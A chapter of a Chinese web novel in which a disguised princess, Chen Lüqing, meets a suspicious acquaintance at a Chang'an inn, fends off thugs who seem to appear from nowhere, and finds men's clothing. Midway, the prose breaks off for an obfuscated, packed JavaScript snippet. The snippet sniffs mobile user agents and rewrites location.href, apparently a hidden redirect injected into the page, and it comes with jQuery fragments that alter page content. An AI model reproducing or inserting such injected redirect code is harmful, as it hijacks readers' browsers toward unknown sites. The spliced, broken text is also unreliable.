从东宫出来后,一面提着装着汤的食盒出来,一面换上粗布做的衣裳,将满头的钗环全都卸下,陈绿卿清清爽爽坐马车去昨日易娘留给自己的那个地址。
那地址她派人瞧过,是长安一个较为鱼龙混杂的坊里,里面多是一些私家小旅,比外头正街上的旅馆不知便宜了多少。
可正因如此,这里三教九流什么人都有。
陈绿卿刚一脚跨进易娘居住的那家旅馆所在的小巷,便有不长眼睛的东西凑了过来。
好几个大汉叫嚣着“这位小娘子要去哪,我们兄弟几人送你去”,并顺势朝她所在的位置围了上去,这架势倒让陈绿卿想到了草原上的人围猎牲口。
本就狭窄幽暗的小巷内此刻彻底没了光亮。
陈绿卿脸上倒是没什么表情,她睨了为首的男子一眼,正准备让藏在暗处的侍卫动手将这群虫子收拾了,却听见身后传来一声喊声。
“你们一群汉子围人家一个小姑娘,也忒不要脸了吧。”
循着声音望去,便看到了一个十分瘦削的男子。看年纪应该同谢伯都差不多,但精神气却完全不如他。
眼前这人眼部浮肿,面色灰白,两只手更是如同竹竿般,瘦得只剩下骨头,在空大的袖子晃晃荡荡的,里显得尤为突兀。
因为乔医圣的关系,陈绿卿略微懂一些医术,但也只是堪堪入门的水准。
但饶是这样,她也看得出来,这人快死了。
虽说这人已经是半截身子踏进棺材的人,但余下的寿命也好说还有几个月。
但如若现在挨了这几个汉子一拳,只怕当下就没命了。
有时候陈绿卿真是想不明白,为何好人命短,作恶多端的人反而好好的活着。
不过无妨,至少今日,在自己的眼皮子底下,她不会允许此事发生。
这几个地痞流氓碰到她,也算是碰到鬼了。
陈绿卿在心中冷笑一声。
“出来吧。”
一声令下,巷子周围的矮墙上立刻闪现出几个人影,明明是白日,却如同鬼魅一般,令人生畏。
“给我狠狠的打,打完全部扭送到衙门去。”
说完她还转过头去跟那病怏怏的男子提醒道:“我手下的人都是粗汉子,公子小心,莫被误伤了。”
……
几乎是眨眼的功夫,刚刚还在耀武扬威的流氓们便如同烂泥般纷纷瘫软在了地上。
“抱歉,是我逾矩了……”那位瘦得跟竹竿一样的公子见到如此的场景,自然是有些尴尬。
这突然唰唰冒出来一大堆人,换作是其他任何一个平头百姓也没有不怵的。
正常人谁出门带这么大的排场啊?而且刚刚冒出来的这些侍卫都还是从暗处突然出现的,若不是要做什么亏心事,又怎需要叫侍卫们躲在暗处,而非堂堂正正的站在主人后头。
说句不中听的,哪怕是宫里的陛下娘娘们出宫,也用不着这么多人护卫……
这个排场和做派,不是在防贼,便是在干坏事。
那人大抵是想装作无事发生,默默的离开此处,奈何他着实不太会伪装,几乎把心中所想全写脸上了。
陈绿卿看着他红一阵白一阵的脸色,着实是哭笑不得。
“公子莫慌,你本就是好心救人,我感谢你都来不及,又怎会伤你呢?”
她一脸和气,说话的语气也特意放柔放缓,就怕再吓着人家。
见陈绿卿对自己并无恶意,那公子脸上的表情才好看了许多。
“我今日还有要事要办,实在是抽不出空来好好谢谢你!”她颇为抱歉的解释道。
“无妨无妨,家中还有亲人在等着我回……”
但那个“家”字都还未来得及说出口,陈绿卿便给身边人使了个眼色,两个侍卫走到那男子面前,一人架着一只胳膊,把他带走了。
“公子大恩,我定然是要报的。这两位小兄弟会陪公子一起上街挑选一些谢礼,届时再连人带礼一起帮您送回家中。公子只管挑,至于银两,我那侍从会帮您付的。”
冲着他们离开的方向望了望,确认人已经走远后,陈绿卿的脸上的笑意随即便消了下去。
“地上的这伙人,哪来的?”
她的语气还是同刚才一样,听起来似乎还是和颜悦色的,但站在陈绿卿身旁的侍卫长听到这话的瞬间便赶忙跪了下去。
“请殿下责罚,属下着实不知他们是从何处来的。
在您出宫前太子殿下曾特意嘱咐过,凡事您要去的地方,我们会提前派人到场排查,等确认安全后才会请您前来。今日也是如此,我派了五个弟兄提前半个时辰埋伏在此处,他们皆说从未见过这几人,这几人简直就像是——凭空出现的一般。”
“凭空出现?”陈绿卿重复了一遍侍卫长的话。
这么多人凭空出现在这个破落的小巷,而且还刚好选在她来的时候,而且恰好还能在那么多侍卫的眼皮子底下偷偷溜了进来。
已经不是巧不巧的了,此事写成志怪小说都能在书铺里大卖了!
关于侍卫长的汇报的情况,陈绿卿早有猜想,在听完他的话后,心中便更加有数了。
早在在小巷中看到那几个壮汉的瞬间,她便嗅到了一丝熟悉的阴谋的味道。
越是这种时候,便越要镇定。
不漏出一丝破绽的往前走,你的敌人自会露出他的破绽。
“将这条巷子好好搜查一番,这里或是有暗道,或是被人设了什么奇门遁甲之术,那几个人定是利用了障眼法,这才让你们误以为他们是凭空出现的。”陈绿卿吩咐道。
若是常人见到如此情形,自然早就以为是鬼魂作祟,吓得魂飞魄散了。
本以为自己还得费一番功夫才能将这十几个护卫稳住,进而稳住军心,开始搜查,谁知他们即刻就开始行动了,陈绿卿酝酿的半肚子话一句都没说出来。
见她有些惊讶,那侍卫长一边指挥着手下的人四处搜查,一边忙中偷闲的同她解释说:“在场的众人都是跟着太子上过战场的,今日也一个个在太子面前展示了身手,能被殿下选中的那都是人才中的人才,可以说整个东宫,太子手下最拔尖的有一半都在被派来保护殿下您了。
我们自然不会因为区区一个大变活人而吓破胆,无论如何都不能丢了东宫的脸不是?”
“而且殿下来之前还嘱咐过我们了,遇到什么时候都不要害怕,这世上没有鬼,只有装神弄鬼的人。”侍卫长补充道。
侍卫长说这话时的眼神肃穆而敬重,可以看出他对太子的多么的敬仰。
“太子殿下真是英明!”陈绿卿嘴上附和着,内心却已经细细盘算了起今日发生的事。
前有恶霸挡路,而后便有好心人见义勇为,一切的环环相扣,未免太顺畅了些。
“绿卿姐姐!真的是你!”
一道突然的喊声打断了她的思绪。不用去看,陈绿卿也能知道是谁。
住在此处的,且
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964871|192076||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又有自己有交情的,自然只有那位昨日在北山寺“偶遇”到的易夫人,易亦南了。
笑着回头去看,她果真看到了那张熟悉的脸。
陈绿卿转过身去,和易娘面对着面亲热的打着招呼。
而在易娘看不见的地方,陈绿卿的手置在背后,冲侍卫长打着撤退的手势。
本就四散在小巷各个角落的侍卫们此刻都收到了信号,装作是行人,纷纷朝各个方向离去。
随之搁浅的,还有正在进行的搜查计划。
陈绿卿心中不舍,但这也是没办法的事。
所有的一切筹谋皆是围绕着易娘展开的,找到那几名形迹可疑的壮汉时如何出现的固然重要,但和易娘所带来的利益相比,也只能暂时舍弃了。
她这几次出门都特意换上了贫民的衣裳,所有侍卫也都藏在暗处若无特殊情况不得现身,为的就是隐藏住自己的身份,让易娘完全相信自己就是一个普通的,热心肠的妇人。
花费了这么多的功夫,若是今日让易娘发现自己身边带着十几个护卫,因而对自己的身份起疑,那就真是竹篮打水一场空了。
陈绿卿自然不允许这样的事发生。
她不动声色的拉着易亦南的手,将她扶到入住的私人旅舍的门口,借此吸引了易娘的注意力,让易娘没有闲工夫注意到巷子里这些来来往往的人群。
美名其曰:“你腿受了伤,我扶着你走能走得更稳当些!”
易亦南欣然接受了她的好意。
两人说了会闲话,待回到房内,陈绿卿将自己煲的那碗汤递给易娘,气氛已然是十分融洽了。
“真好喝!姐姐的手艺真是太好了!下次可以教教我做法吗,我之后也想炖给我夫君喝。
他身体一向不太好,医师们开的方子大多味苦,夫君虽然嘴上不说,但他每次喝药的时候眉毛都皱成一团了。
而姐姐的这汤虽然加入了药材,喝起来却无半分苦味,好生厉害!”
“这汤的做法自是不难的,难的是不同的药材须得与不同的食材相炖,如此才能除去药味。
若是妹夫要喝的药和我这汤中的食材不合,煮出来不仅失了药效,连带着还会其苦无比。妹妹不若告诉我妹夫平常都吃些什么药,我回去后对着医书查查,等研究出食谱后便教你,如何?”
陈绿卿听她流利地报出一大段药名,没有半分迟顿或是遗忘,难免在心中感叹易娘和她夫君的感情真是好,居然连这么一大串药材名都能记得下来。
只可惜……天意弄人啊。
从药材反推,她很快便意识到,易娘的夫君已经是油尽灯枯了。
陈绿卿一时不知该作何反应才好。
迟疑间,浴室方向传来了一声巨响——
紧接着便听到了易娘的喊声,听起来十分痛苦,像是又摔着了。
陈绿卿赶忙去浴室寻她,一进门便发现果真如此,易娘真的倒在了地上。
好不容易将易娘扶了起来,在低头看路的瞬间,她余光瞥见了一个要紧的东西……
陈绿卿本来准备张口询问易娘要不要去看医师,此刻却猛的止住了话头,嘴唇却还维持着即将说话的状态,微张着嘴,看上去有些滑稽。
不过此刻她却顾不得这些了。眼睛盯着不小心被易娘撞倒的那个脏衣篓,以及脏衣篓内的男子衣饰。
适才易娘才跟自己说此趟来长安并未带夫君,十分思念他,可眼下这男子服饰又是从哪来的……